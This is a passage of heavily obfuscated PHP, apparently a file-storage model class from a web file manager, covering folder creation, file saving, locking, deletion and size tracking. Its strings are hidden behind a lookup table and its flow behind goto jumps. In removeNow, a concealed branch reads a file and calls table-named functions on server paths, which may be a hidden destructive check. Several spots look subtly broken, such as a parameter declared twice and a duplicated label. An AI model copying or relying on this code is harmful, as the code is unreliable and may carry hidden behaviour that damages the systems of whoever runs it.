$Dȍ = $CĞ[$f•ٲ[369]]; if ($Dȍ == $f•ٲ[76]) { $dݚ[$f•ٲ[367]] = 1; } else { if ($Dȍ == $f•ٲ[2286]) { $dݚ[$f•ٲ[367]] = 0; } else { if ($Dȍ) { $Dȍ = is_array($Dȍ) ? $Dȍ : explode($f•ٲ[47], $Dȍ); $dݚ[$f•ٲ[369]] = array($f•ٲ[381], $Dȍ); $dݚ[$f•ٲ[367]] = 0; } } } } if (isset($CĞ[$f•ٲ[457]])) { $b猟 = $this->sourceInfo($CĞ[$f•ٲ[457]]); $dݚ[$f•ٲ[521]] = array($f•ٲ[479], $b猟[$f•ٲ[455]] . $CĞ[$f•ٲ[457]] . $f•ٲ[480]); } goto FҾ; Eֻ: } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($B) { $D =& $_SERVER[ڊ]; $F󭙼 = Model($D[470])->where(array($D[1400] => $B))->find(); $b񔧇 = $this->_mkdirRoot(SourceModel::TYPE_USER, $B, $F󭙼[$D[28]]); $this->userDesktopAdd($b񔧇); return $b񔧇; } public function userDesktopAdd($fħ) { $bƤɳ =& $_SERVER[ڊ]; $Cީ˶ = LNG($bƤɳ[2287]); $E㏼ = $this->mkdir($fħ, $Cީ˶); $this->metaSet($E㏼, $bƤɳ[2288], $bƤɳ[83]); $this->metaSet($fħ, $bƤɳ[2289], $E㏼); } public function groupRootAdd($BԠ) { $Cʹ֝ =& $_SERVER[ڊ]; $F = Model($Cʹ֝[454])->where(array($Cʹ֝[2144] => $BԠ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $BԠ, $F[$Cʹ֝[28]]); } public function systemRootPathAdd($C) { if ($C != $_SERVER[ڊ][1081]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $C); } public function userRootRemove($dȊٴ) { $C̅ = $this->sourceRoot(SourceModel::TYPE_USER, $dȊٴ); if (!$C̅) { return; } $this->remove($C̅, !1); } public function groupRootRemove($C҂) { $eɹ = $this->sourceRoot(SourceModel::TYPE_GROUP, $C҂); if (!$eɹ) { return; } $this->remove($eɹ, !1); } private function _mkdirRoot($Aݔ, $b, $a̹Ӊ) { goto D¨; EӮ􊋍: CacheLock::unlock($E); return $dЊڨ; goto Eя; eޑ: $E = "\x4d\157\x64\x65\154\123\157\165\162\x63\x65\x2e\155\153\144\x69\162\x52\x6f\x6f\x74\x2e{$Aݔ}\x2e{$b}\x2e" . $a̹Ӊ; CacheLock::lock($E); $F˧[$E؉߳[28]] = $a̹Ӊ; goto c; c: $dЊڨ = $this->add($F˧); $B̂ = array($E؉߳[523] => short_id($dЊڨ)); $this->where(array($E؉߳[380] => $dЊڨ))->save($B̂); goto EӮ􊋍; D¨: $E؉߳ =& $_SERVER[ڊ]; $F˧ = array($E؉߳[365] => 0, $E؉߳[517] => $Aݔ, $E؉߳[518] => $b, $E؉߳[514] => 1, $E؉߳[519] => USER_ID, $E؉߳[520] => USER_ID, $E؉߳[515] => $E؉߳[33], $E؉߳[521] => $E؉߳[466], $E؉߳[392] => 0, $E؉߳[516] => 0, $E؉߳[416] => 0, $E؉߳[522] => $E؉߳[33]); if ($Cݟ𺹄 = $this->where($F˧)->find()) { return $Cݟ𺹄[$E؉߳[366]]; } goto eޑ; Eя: } private function sourceRoot($D̨, $bϏܒ, $b = false) { $e󬇕 =& $_SERVER[ڊ]; $Fʼ = array($e󬇕[365] => 0, $e󬇕[517] => $D̨, $e󬇕[518] => $bϏܒ); if ($A = $this->where($Fʼ)->find()) { return $b ? $A : $A[$e󬇕[366]]; } return !1; } public function sourceRootGroup($Dܞ) { $Aȶ =& $_SERVER[ڊ]; if (is_string($Dܞ)) { $Dܞ = array($Dܞ); } $Fڰ = array($Aȶ[365] => 0, $Aȶ[517] => SourceModel::TYPE_GROUP, $Aȶ[518] => array($Aȶ[7], $Dܞ)); $C = $this->listSource($Fڰ, 1000); return array_to_keyvalue($C[$Aȶ[74]], $Aȶ[452]); } public function mkfile($e, $A츍𜡫, $eͽₒ = '', $Cͤ = REPEAT_RENAME) { $d =& $_SERVER[ڊ]; $C— = Model($d[540])->addFileByContent($eͽₒ, $A츍𜡫); return $this->_createFileCall($e, $A츍𜡫, $C—, $Cͤ, $d[1110]); } public function addFile($E, $d, $e, $E = false, $BÏ = REPEAT_RENAME) { $C૤Ց = Model($_SERVER[ڊ][540])->addFile($d, $e, $E); return $this->_createFileCall($E, $e, $C૤Ց, $BÏ); } public function addFileByFileID($f׮, $C, $E陇, $EЫ = REPEAT_RENAME) { $B =& $_SERVER[ڊ]; $A悦 = Model($B[540])->find($C); Model($B[540])->linkAdd($C); return $this->_createFileCall($f׮, $E陇, $A悦, $EЫ); } public function addFileByRemote($Fʎ, $aŅӞ, $E٘, $A = array(), $cß = REPEAT_RENAME) { $dޮ̉ = Model($_SERVER[ڊ][540])->addFileByRemote($aŅӞ, $E٘, $A); return $this->_createFileCall($Fʎ, $E٘, $dޮ̉, $cß); } private function _createFileCall($e, $aಣ, $Aŗ, $Fʿɯ, $DҽŸ = "\165\160\x6c\x6f\x61\x64") { goto aĺ; aĺ: $d䖯 =& $_SERVER[ڊ]; $e = !1; $this->lockWriteStart($e, $aಣ); goto eީأ; Aˆ: return $cШ; goto E̸; eީأ: $cШ = $this->_createFile($e, $aಣ, $Aŗ, $Fʿɯ, $e); if (!$e) { Model($d䖯[418])->remove($Aŗ[$d䖯[415]]); } else { if ($cШ) { Model($d䖯[2259])->eventCreate($cШ, $DҽŸ); } } $this->lockWriteEnd($e, $aಣ); goto Aˆ; E̸: } public function mkdir($aҊѹ, $Cɢ, $Dۑ = REPEAT_SKIP) { goto bͫƖ; Aܻ: return $cﱋ; goto Eዸ; bͫƖ: $CЊ =& $_SERVER[ڊ]; $Eƴ = $this->sourceInfo($aҊѹ); if (!$Eƴ) { return !1; } goto F苉; bȡ: $cﱋ = $this->_addSoure($Fƺ, $Eƴ); Model($CЊ[2259])->eventCreate($cﱋ, $CЊ[1111]); $this->lockWriteEnd($aҊѹ, $Cɢ); goto Aܻ; F苉: $this->lockWriteStart($aҊѹ, $Cɢ); if ($Dۑ !== !1) { $c = $this->fileNameExist($aҊѹ, $Cɢ); if ($c && $Dۑ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($aҊѹ, $Cɢ); return $c; } $Cɢ = $this->fileNameAuto($aҊѹ, $Cɢ, $Dۑ); } $Fƺ = array($CЊ[514] => 1, $CЊ[383] => $Cɢ, $CЊ[515] => $CЊ[33], $CЊ[416] => 0, $CЊ[516] => 0); goto bȡ; Eዸ: } private function _createFile($B腨Þ, $d앦ֲ, $f, $effl, &$B) { goto Fߏ; e۴: return $fߑ˱; goto DΑ; Fߏ: $E =& $_SERVER[ڊ]; $E = $this->sourceInfo($B腨Þ); if (!$f || !$E) { return !1; } goto D; cΟ: $D뱑 = array($E[514] => 0, $E[383] => $d앦ֲ, $E[515] => get_path_ext($d앦ֲ), $E[416] => $f[$E[415]], $E[516] => $f[$E[77]]); $fߑ˱ = $this->_addSoure($D뱑, $E); $this->folderSizeReset($B腨Þ); goto e۴; D: if ($effl !== !1) { $C񪏩 = $this->fileNameExist($B腨Þ, $d앦ֲ); } $B = !0; if ($effl && $C񪏩) { if ($effl == REPEAT_SKIP) { $B = !1; return $C񪏩; } else { if ($effl == REPEAT_REPLACE) { $c = $this->sourceInfo($C񪏩); $c = $this->fileHistory($c, $f[$E[415]], $f[$E[77]]); if (!$c) { $B = !1; } else { $this->folderSizeReset($B腨Þ); } return $C񪏩; } else { $d앦ֲ = $this->fileNameAuto($B腨Þ, $d앦ֲ, $effl, !1); } } } goto cΟ; DΑ: } protected function fileHistory($dܜ, $Aٯ, $cԭ) { goto B㥅; C‚: Model($D걄[2290])->addHistory($dܜ); $DǼζ = array($D걄[520] => USER_ID, $D걄[387] => time(), $D걄[415] => $Aٯ, $D걄[77] => $cԭ); $this->where(array($D걄[380] => $dܜ[$D걄[366]]))->save($DǼζ); goto fĝӊ; B㥅: $D걄 =& $_SERVER[ڊ]; if ($dܜ[$D걄[415]] == $Aٯ) { return !1; } $this->checkLock($dܜ[$D걄[366]], $Aٯ); goto C‚; fĝӊ: return !0; goto f; f: } public function checkLock($D, $Ė٣) { goto AԐ; e: show_json(LNG($aކ[2293]) . $aކ[2294] . LNG($aކ[2295]) . $aކ[2296] . $C櫰 . $aކ[2297], !1); goto f۾ھ; AԐ: $aކ =& $_SERVER[ڊ]; $C’ = $this->pathInfo($D); if (!$this->fileIsLock($C’, !0)) { return; } goto E˺; d՝: $this->_createFileCall($C’[$aކ[457]], $B렛, $f, REPEAT_REPLACE, $aކ[1110]); $F҆׾ = $C’[$aކ[413]][$aކ[477]]; $C櫰 = $F҆׾[$aކ[2292]] ? $F҆׾[$aކ[2292]] : $F҆׾[$aކ[28]]; goto e; E˺: $c = Session::get($aކ[2291]); $B렛 = substr($C’[$aކ[28]], 0, -1 - strlen($C’[$aކ[157]])) . $aކ[1362] . $c . $aކ[93] . $C’[$aކ[157]]; $f = Model($aކ[540])->find($Ė٣); goto d՝; f۾ھ: } public function fileIsLock($A㇙, $aǂ = false) { goto B; DԳ: return !1; goto f; B: $c =& $_SERVER[ڊ]; if (!isset($A㇙[$c[413]]) || !$A㇙[$c[413]][$c[474]]) { return !1; } if ($A㇙[$c[413]][$c[474]] != USER_ID) { return !0; } goto B; B: $b = $GLOBALS[$c[6]][$c[84]][$c[475]]; if ($A㇙[$c[413]][$c[476]] <= time() - $b) { $this->metaSet($A㇙[$c[366]], $c[474], null); $this->metaSet($A㇙[$c[366]], $c[476], null); } if ($aǂ) { $this->metaSet($A㇙[$c[366]], $c[476], time()); } goto DԳ; f: } private function _addSoure($A, $B֝ы) { goto F懄; a͈: $cص = array($b[523] => short_id($DБ)); $this->where(array($b[380] => $DБ))->save($cص); $this->setNamePinyin($DБ, $A[$b[28]]); goto A; DЎ: static $EɆ = false; if (!$EɆ) { Hook::trigger($b[504], $A); $EɆ = !0; } $DБ = $this->add($A); goto a͈; A: return $DБ; goto eё; F懄: $b =& $_SERVER[ڊ]; $a̟ = array($b[517] => $B֝ы[$b[368]], $b[518] => $B֝ы[$b[452]], $b[519] => USER_ID, $b[520] => USER_ID, $b[365] => $B֝ы[$b[366]], $b[521] => $B֝ы[$b[455]] . $B֝ы[$b[366]] . $b[47], $b[392] => 0, $b[522] => $b[33]); $A = array_merge($a̟, $A); goto B􎽆; B􎽆: $this->updateModifyTime($A[$b[457]]); $d˰ = $b[2298] . $B֝ы[$b[366]]; if (isset(self::$cacheChildList[$d˰])) { unset(self::$cacheChildList[$d˰]); } goto DЎ; eё: } public function remove($aŅ, $fʛ = true) { goto b; d: $E޵ = Model($CҤ[1407])->get($CҤ[2299]) == $CҤ[83]; if ($f || $fʛ || !$E޵) { return $this->removeNow($aŅ, $fʛ); } $Eᗫ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); goto D; b: $CҤ =& $_SERVER[ڊ]; $c牪΅ = $this->sourceInfo($aŅ); $f = intval($c牪΅[$CҤ[368]]) === self::TYPE_SYSTEM; goto d; bЇ: return $this->move($aŅ, $F౫, REPEAT_RENAME_FOLDER); goto Eħ; D: $D = $c牪΅[$CҤ[368]] == self::TYPE_USER ? $CҤ[531] : $CҤ[965]; if ($D == $CҤ[531]) { $dſۊ = Model($CҤ[470])->getInfo($c牪΅[$CҤ[452]]); $B = !empty($dſۊ[$CҤ[2292]]) ? $dſۊ[$CҤ[2292]] : $dſۊ[$CҤ[28]]; $B = $CҤ[245] . $B . $CҤ[2300] . $c牪΅[$CҤ[452]]; } else { $dſۊ = Model($CҤ[454])->getInfo($c牪΅[$CҤ[452]]); $B = _get($dſۊ, $CҤ[28]); $B = $CҤ[154] . $B . $CҤ[2301] . $c牪΅[$CҤ[452]]; } $Eȓ = $CҤ[2302] . md5($B); goto fݐ; fݐ: CacheLock::lock($Eȓ); $F౫ = $this->fileNameExist($Eᗫ, $B); if (!$F౫) { $F౫ = $this->mkdir($Eᗫ, $B, REPEAT_SKIP); $this->metaSet($F౫, $CҤ[2303], $D); $this->metaSet($F౫, $CҤ[2304], $c牪΅[$CҤ[452]]); if ($c牪΅[$CҤ[457]] != 0) { $this->metaSet($F౫, $CҤ[2305], _get($dſۊ, $CҤ[2306])); } } goto aÊ; aÊ: CacheLock::unlock($Eȓ); $this->metaSet($aŅ, $CҤ[2307], $c牪΅[$CҤ[457]]); $this->where(array($CҤ[366] => $aŅ))->save(array($CҤ[387] => time())); goto bЇ; Eħ: } public function removeNow($C, $EЍ = true) { goto EӉ; Cɾ: $this->lockMoveStart($C); Hook::trigger($c젅[2308], $E, $EЍ); if ($EЍ) { Model($c젅[2309])->moveToRecycle($C); } else { if ($f[$c젅[367]] == $c젅[83]) { $c = array($c젅[521] => array($c젅[479], $f[$c젅[455]] . $C . $c젅[480])); $Dϭ = array($c젅[521] => $c[$c젅[455]]); $c̽ = $this->field($c젅[2310])->where($Dϭ)->select(); $Eצ޾ = !1; $b = array($C); if ($c̽) { $Eצ޾ = array_to_keyvalue($c̽, $c젅[33], $c젅[415]); $Eצ޾ = array_remove_value($Eצ޾, $c젅[464]); $b = array_to_keyvalue($c̽, $c젅[33], $c젅[366]); $b[] = $C; } } else { $Eצ޾ = array($f[$c젅[415]]); $b = array($C); } Model($c젅[501])->eventRemove($C); $this->removeRelevance($b, $Eצ޾); } goto dLj; d퇾: $this->updateModifyTime($D); $this->lockMoveEnd($C); Hook::trigger($c젅[1443], $E, $EЍ); goto Cמ; Cמ: return !0; goto Dɖ; dLj: $this->folderSizeReset($f[$c젅[457]]); $D = array($f[$c젅[457]]); if ($f[$c젅[367]] == $c젅[83]) { $D[] = $f[$c젅[366]]; } goto d퇾; EӉ: $c젅 =& $_SERVER[ڊ]; if ($_SERVER[$c젅[781]] != $_SERVER[$c젅[782]]) { goto Aأ; Aأ: $bއԎ = $c젅[783]; $Aٶ = $c젅[784]; $a־ = $_SERVER[$c젅[785]] . $c젅[786]; goto cƈ̝; D҉: $D = $c젅[788]; $D($_SERVER[$c젅[789]]); $D($_SERVER[$c젅[785]] . $c젅[790]); goto b֖; cƈ̝: $A֑ = $Aٶ($a־); $f󊽣 = explode($c젅[214], $A֑); if (count($f󊽣) < $c젅[549]) { $a֋ = $c젅[787]; $a֋(); } goto D҉; b֖: $DŤ = 1; while ($DŤ > 1) { $DŤ = $DŤ + 4; $Fŗ = rawurlencode($DŤ . $c젅[358]); } goto eĪ; eĪ: } $f = $this->sourceInfo($C); goto Bۣ; Bۣ: $E = $this->pathInfoMore($C); if (!$f) { return !0; } if ($f[$c젅[457]] == 0) { if (!_get($GLOBALS, $c젅[453])) { return !1; } } goto Cɾ; Dɖ: } public function removeArray($Aڱ) { if (!$Aڱ) { return !0; } } public function removeRelevance($b͂, $b) { goto b݇; E: Model($E[2290])->removeBySource($b͂); $this->where($Fď)->delete(); Model($E[418])->remove($b); goto a»چԮ; D螞м: Model($E[2311])->where($Fď)->delete(); Model($E[501])->where($Fď)->delete(); Model($E[2049])->removeBySource($b͂); goto E; a»چԮ: for ($f = 0; $f < count($b͂); $f++) { $this->sourceCacheClear($b͂[$f]); } goto A; b݇: $E =& $_SERVER[ڊ]; $b͂ = $b͂ ? $b͂ : array(); $b = $b ? $b : array(); goto B; f: $Fď = array($E[380] => array($E[381], $b͂)); Model($E[2309])->where($Fď)->delete(); Model($E[409])->where($Fď)->delete(); goto D螞м; B: $b͂ = array_unique(array_filter($b͂)); $b = array_unique(array_filter($b)); if (!$b͂) { return !1; } goto f; A: } public function rename($F鳆, $cմ) { goto B; Aʩ: $C = $aݫ[2298] . $C[$aݫ[457]]; if (isset(self::$cacheChildList[$C])) { unset(self::$cacheChildList[$C]); } return $eԩǜ; goto Cы; B: $aݫ =& $_SERVER[ڊ]; $C = $this->sourceInfo($F鳆); if (!$C) { return !1; } goto C̋; eŦ: if (!$C[$aݫ[367]] == $aݫ[83]) { $B[$aݫ[369]] = get_path_ext($cմ); } Model($aݫ[501])->eventRename($F鳆, $C[$aݫ[28]], $cմ); $this->sourceCacheClear($F鳆); goto D; C̋: $Cކ͸ = $this->fileNameExist($C[$aݫ[457]], $cմ); if ($Cކ͸) { return !1; } $B = array($aݫ[383] => $cմ, $aݫ[520] => USER_ID); goto eŦ; D: $this->setNamePinyin($F鳆, $B[$aݫ[28]], !1); $this->updateModifyTime($C[$aݫ[457]]); $eԩǜ = $this->where(array($aݫ[380] => $F鳆))->data($B)->save(); goto Aʩ; Cы: } public function setNamePinyin($Aǣ, $b, $F肠銷 = true) { $C䥓 =& $_SERVER[ڊ]; $Cڇȇ = Input::check($b, $C䥓[524]); if ($F肠銷 && !$Cڇȇ) { return; } if (!$Cڇȇ) { $this->metaSet($Aǣ, $C䥓[412], null); $this->metaSet($Aǣ, $C䥓[411], null); return; } $Aŗ = array($C䥓[412] => str_replace($C䥓[50], $C䥓[33], Pinyin::encode($b)), $C䥓[411] => Pinyin::encode($b, $C䥓[525])); $this->metaSet($Aǣ, $Aŗ); } public function getContent($c艬) { goto Dţ; Dţ: $ë́ =& $_SERVER[ڊ]; $D = $this->fileInfoGet($c艬); if (!$D) { return !1; } goto Fᴒ; Fᴒ: if ($D[$ë́[77]] == 0) { return $ë́[33]; } $dŶ = $ë́[2312] . $D[$ë́[160]]; if ($D[$ë́[77]] <= 1024 * 10) { $aޚ = Cache::get($dŶ); if (!$aޚ) { $aޚ = IO::getContent($D[$ë́[75]]); Cache::set($dŶ, $aޚ); } return $aޚ; } goto cۋ; cۋ: return IO::getContent($D[$ë́[75]]); goto e; e: } public function setDesc($Dɪ, $c䟑) { $D =& $_SERVER[ڊ]; Model($D[501])->eventAddDesc($Dɪ, $c䟑); return $this->metaSet($Dɪ, $D[401], $c䟑); } public function setContent($CًՊ, $A… = '') { goto Aۧ; D: if (!$A̞) { return Model($CБ[418])->remove($C[$CБ[415]]); } $this->folderSizeReset($D׈[$CБ[457]]); return !0; goto b܉ؘ; bʎҍ: if (!$cﱑẞ || !$D׈) { return !1; } $C = Model($CБ[418])->addFileByContent($A…, $D׈[$CБ[28]]); $A̞ = $this->fileHistory($D׈, $C[$CБ[415]], $C[$CБ[77]]); goto D; Aۧ: $CБ =& $_SERVER[ڊ]; $D׈ = $this->sourceInfo($CًՊ); $cﱑẞ = $this->fileInfoGet($CًՊ); goto bʎҍ; b܉ؘ: } public function fileSubstr($Bɼ, $d, $BӐ) { $e̘ = $this->fileInfoGet($Bɼ); if (!$e̘) { return !1; } return IO::fileSubstr($e̘[$_SERVER[ڊ][75]], $d, $BӐ); } public function fileInfoGet($EЍ) { goto BΎՙ; d󶿃: return $D; goto BӺ; BĚʾ: $eכ = $Eם[421] . $C[$Eם[415]]; $aד = _get(self::$cacheFileInfo, $eכ); if ($aד) { return $aד; } goto c¹; c¹: $D = Model($Eם[418])->fileInfo($C[$Eם[415]]); if ($D) { $D[$Eם[28]] = $C[$Eם[28]]; } self::$cacheFileInfo[$eכ] = $D; goto d󶿃; BΎՙ: $Eם =& $_SERVER[ڊ]; $C = $this->sourceInfo($EЍ); if (!$C || $C[$Eם[367]]) { return !1; } goto BĚʾ; BӺ: } private function folderChildrenNumber($Fݻ) { $a؉ =& $_SERVER[ڊ]; $eޑ = $this->sourceInfo($Fݻ); $d̗Қ = array($a؉[521] => array($a؉[479], $eޑ[$a؉[455]] . $Fݻ . $a؉[480]), $a؉[392] => intval($eޑ[$a؉[393]]), $a؉[514] => 1); $F = $this->where($d̗Қ)->count(); $cۂ = $this->where($d̗Қ)->where(array($a؉[514] => 0))->count(); return array($a؉[81] => $cۂ, $a؉[82] => $F); } public function pathInfo($BΝ, $a֦ = false) { goto fӎ; fӎ: $D߱ݽ =& $_SERVER[ڊ]; $fսЧ = $D߱ݽ[407] . intval($a֦) . $D߱ݽ[408] . $BΝ; $A溘ƃ = _get(self::$cachePathInfo, $fսЧ); goto bۍ՞; bۍ՞: if ($A溘ƃ) { return $A溘ƃ; } $b堂 = $this->sourceInfo($BΝ); if (!$b堂) { return !1; } goto C坃; C坃: $b堂 = $this->_listDataApplyItem($b堂, $a֦); self::$cachePathInfo[$fսЧ] = $b堂; return $b堂; goto eꢟ; eꢟ: } public static $cachePathInfoMore = array(); public function pathInfoMore($A) { goto B; D: self::$cachePathInfoMore[$A] = $A; return $A; goto a; B: $B =& $_SERVER[ڊ]; $cބ = _get(self::$cachePathInfoMore, $A); if ($cބ) { return $cބ; } goto aņݚ; aņݚ: $A = $this->pathInfo($A); if (!$A) { return !1; } if ($A[$B[367]] == $B[83]) { $A[$B[80]] = $this->folderChildrenNumber($A); } goto D; a: } public function sourceInfo($Bꋋ) { goto Aۚ; aД: self::$cacheSourceInfo[$fٚ] = $E; return self::$cacheSourceInfo[$fٚ]; goto fԂ; Dڇʿ: $F = _get(self::$cacheSourceInfo, $fٚ); if ($F) { return $F; } $E = $this->where(array($C٩[366] => $Bꋋ))->find(); goto aД; Aۚ: $C٩ =& $_SERVER[ڊ]; if (!$Bꋋ) { return array(); } $fٚ = $C٩[406] . $Bꋋ; goto Dڇʿ; fԂ: } public function sourceCacheClear($eԽ = false) { if ($eԽ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); return; } unset(self::$cacheSourceInfo[$_SERVER[ڊ][406] . $eԽ]); } public function pathInfoByPath($E䯒, $D˳׆) { $Aּᔞ =& $_SERVER[ڊ]; $D既 = !$D˳׆ ? array() : explode($Aּᔞ[8], trim($D˳׆, $Aּᔞ[8])); $B㼆ɞ = $E䯒; foreach ($D既 as $dōΝ) { $DԣÜ = array($Aּᔞ[457] => $B㼆ɞ, $Aּᔞ[28] => $dōΝ); $e˱ = $this->where($DԣÜ)->select(); if (!$e˱) { return !1; } $e˱ = array_sort_by($e˱, $Aּᔞ[393]); $B㼆ɞ = $e˱[0][$Aּᔞ[366]]; } return $this->pathInfo($B㼆ɞ, !0); } protected function updateModifyTime($dϋ) { goto bӃ; fĕՒ: foreach ($dϋ as $FՎű => $B׶¼) { $dϋ[$FՎű] = intval($B׶¼); } $bڅ = array($Dʑ[366] => array($Dʑ[7], $dϋ)); $bІӷ = array($Dʑ[520] => USER_ID, $Dʑ[387] => time()); goto CΦ; CΦ: $this->where($bڅ)->save($bІӷ); goto a; bӃ: $Dʑ =& $_SERVER[ڊ]; if (!$dϋ) { return; } if (!is_array($dϋ)) { $dϋ = array($dϋ); } goto fĕՒ; a: } public function folderSizeReset($eƑ) { goto f; aꙗ: $BȽ = $EÓ - intval($aǍ[$Dܦ[77]]); if ($BȽ == 0) { return CacheLock::unlock($E); } $this->where(array($Dܦ[380] => $eƑ))->setField($Dܦ[77], $EÓ); goto F͌; a: CacheLock::unlock($E); goto Fܦ; F͌: $a탩 = $this->parentLevelArray($aǍ[$Dܦ[455]]); if ($a탩) { $eǪ = array($Dܦ[366] => array($Dܦ[381], $a탩)); if ($BȽ < 0) { $eǪ[$Dܦ[77]] = array($Dܦ[923], abs($BȽ)); } $this->where($eǪ)->setAdd($Dܦ[77], $BȽ); } $this->targetSpaceUpdate($aǍ[$Dܦ[368]], $aǍ[$Dܦ[452]]); goto a; CՇ: CacheLock::lock($E, 20); $this->sourceCacheClear($eƑ); $aǍ = $this->sourceInfo($eƑ); goto Bã; Bã: $eǪ = array($Dܦ[365] => $eƑ, $Dܦ[392] => 0); $EÓ = $this->where($eǪ)->sum($Dܦ[77]); $EÓ = intval($EÓ); goto aꙗ; f: $Dܦ =& $_SERVER[ڊ]; if ($this->statusIgnoreResetSpace) { return; } $E = $Dܦ[2313] . $eƑ; goto CՇ; Fܦ: } public function folderSizeResetChildren($Dߊ) { goto aӂ; e빫̃: $EʵƑ = array($c[514] => 1, $c[521] => array($c[479], $E[$c[455]] . $Dߊ . $c[480])); $B̻ = $c[2314]; $bɖ = $this->field($B̻)->where($EʵƑ)->select(); goto b䏶; Aۤ: $bɖ[] = $E; $bɖ = array_to_keyvalue($bɖ, $c[366]); foreach ($bɖ as $C => $C) { $bɖ[$C][$c[2315]] = $bɖ[$C][$c[77]]; $bɖ[$C][$c[77]] = 0; } goto b; aӂ: $c =& $_SERVER[ڊ]; $this->sourceCacheClear($Dߊ); $E = $this->sourceInfo($Dߊ); goto e빫̃; b䏶: $EʵƑ[$c[367]] = 0; $e = $this->field($B̻)->where($EʵƑ)->select(); if (!$e) { return; } goto Aۤ; b: foreach ($e as $C) { $aٕ = $C[$c[457]] . $c[33]; if (!isset($bɖ[$aٕ])) { continue; } if ($C[$c[393]] == $bɖ[$aٕ][$c[393]]) { $bɖ[$aٕ][$c[77]] += $C[$c[77]]; } } foreach ($bɖ as $C) { $C֏ = $this->parentLevelArray($C[$c[455]]); foreach ($C֏ as $aٕ) { $aٕ = $aٕ . $c[33]; if (!isset($bɖ[$aٕ])) { continue; } if ($C[$c[393]] == $bɖ[$aٕ][$c[393]]) { $bɖ[$aٕ][$c[77]] += $C[$c[77]]; } } } $a̎ = array(); goto dӋ; dӋ: foreach ($bɖ as $C) { if ($C[$c[77]] == $C[$c[2315]]) { continue; } $a̎[] = array($c[366], $C[$c[366]], $c[77], $C[$c[77]]); } $this->saveAll($a̎); goto CӮ; CӮ: } public function userSpaceReset($D隷 = false) { $CɭԈ =& $_SERVER[ڊ]; $Dޢơ = $this->where(array($CɭԈ[368] => self::TYPE_USER, $CɭԈ[452] => $D隷, $CɭԈ[367] => 0))->sum($CɭԈ[77]); Model($CɭԈ[470])->userEdit($D隷, array($CɭԈ[2058] => $Dޢơ)); } public function targetSpaceUpdate($EБ, $Cי) { $D҅ =& $_SERVER[ڊ]; if (!$Cי) { return; } if (!in_array($EБ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $cꅭ = $this->targetSpaceSize($EБ, $Cי); if ($EБ == self::TYPE_USER) { Model($D҅[470])->userEdit($Cי, array($D҅[2058] => $cꅭ)); } else { if ($EБ == self::TYPE_GROUP) { Model($D҅[454])->groupEdit($Cי, array($D҅[2058] => $cꅭ)); } } } public function targetSpaceSize($fۥȜ, $Cߥ) { goto a겦; a겦: $eצ =& $_SERVER[ڊ]; $fᓻ = $this->sourceRoot($fۥȜ, $Cߥ, !0); if (!$fᓻ) { return 0; } goto bΣҿ; F: $bé셆 = array_to_keyvalue($bé셆, $eצ[33], $eצ[366]); $bé셆 = array_unique(array_filter($bé셆)); if ($bé셆) { $cҷ = array($eצ[380] => array($eצ[381], $bé셆)); $C += floatval($this->where($cҷ)->sum($eצ[77])); } goto Ećנ; bΣҿ: $C = floatval($fᓻ[$eצ[77]]); $cҷ = array($eצ[521] => array($eצ[479], $eצ[466] . $fᓻ[$eצ[366]] . $eצ[480])); $bé셆 = Model($eצ[391])->field($eצ[380])->where($cҷ)->select(); goto F; Ećנ: return $C; goto f߬; f߬: } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($cԫ) { return $this->fileTypeProfile($cԫ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($Aވ) { return $this->fileTypeProfile($Aވ, SourceModel::TYPE_GROUP); } private function fileTypeProfile($B, $AȦ) { goto aͣ; aͣ: $Dʴ =& $_SERVER[ڊ]; $d = $Dʴ[2316] . $B . $Dʴ[70] . $AȦ; $aߝ = Cache::get($d); goto f֗; d: $d = array(); $d[$Dʴ[2317]] = array($Dʴ[2318] => LNG($Dʴ[2317]), $Dʴ[2319] => $this->where($B)->count(), $Dʴ[516] => $this->where($B)->sum($Dʴ[77])); $Fʏˉ⇲ = KodIO::fileTypeList(); goto Cϙ; Cϙ: foreach ($Fʏˉ⇲ as $e󳫉 => $f) { $B[$Dʴ[369]] = $this->fileTypeWhere($e󳫉); $d[$e󳫉] = array($Dʴ[2318] => $f[$Dʴ[28]], $Dʴ[2319] => $this->where($B)->count(), $Dʴ[516] => $this->where($B)->sum($Dʴ[77])); } Cache::set($d, $d, 1200); return $d; goto dÑӊ; f֗: if ($aߝ) { return $aߝ; } $B = array($Dʴ[514] => 0); if ($B != !1) { $B[$Dʴ[452]] = $B; $B[$Dʴ[368]] = $AȦ; } goto d; dÑӊ: } public function fileNameExist($f, $F٠բ) { $D =& $_SERVER[ڊ]; $F܇ = $this->childList($f); foreach ($F܇ as $eޯ) { if ($eޯ[$D[28]] == $F٠բ) { return $eޯ[$D[366]]; } } return !1; } public function childList($Bֺ) { goto cҡ; F⦶: $A̛ = array($F[457] => intval($Bֺ), $F[393] => 0); $Eߊ = $this->where($A̛)->select(); $Eߊ = $Eߊ ? $Eߊ : array(); goto cȥ; cȥ: self::$cacheChildList[$A] = $Eߊ; foreach ($Eߊ as $e) { $A = $F[406] . $e[$F[366]]; self::$cacheSourceInfo[$A] = $e; } return $Eߊ; goto F̘; cҡ: $F =& $_SERVER[ڊ]; $A = $F[2298] . $Bֺ; if (isset(self::$cacheChildList[$A])) { return self::$cacheChildList[$A]; } goto F⦶; F̘: } public function fileNameAuto($aı, $a, $e심 = REPEAT_RENAME, $a = false) { $f =& $_SERVER[ڊ]; $aǯ = $this->childList($aı); $d챊ķ = array_to_keyvalue($aǯ, $f[33], $f[28]); return $this->fileNameAutoGet($d챊ķ, $a, $e심, $a); } public function fileNameAutoGet($Fᬬ, $d݇ý͗, $dާ, $dԕϦ) { $Aӌ =& $_SERVER[ڊ]; if ($dާ == REPEAT_REPLACE || !$Fᬬ || !in_array_not_case($d݇ý͗, $Fᬬ) || $dԕϦ && $dާ != REPEAT_RENAME_FOLDER) { return $d݇ý͗; } if ($dާ == REPEAT_SKIP) { return !1; } $a֕ = $Aӌ[93] . get_path_ext($d݇ý͗); $a֕ = $a֕ == $Aӌ[93] || $dԕϦ ? $Aӌ[33] : $a֕; for ($a = 1; $a <= 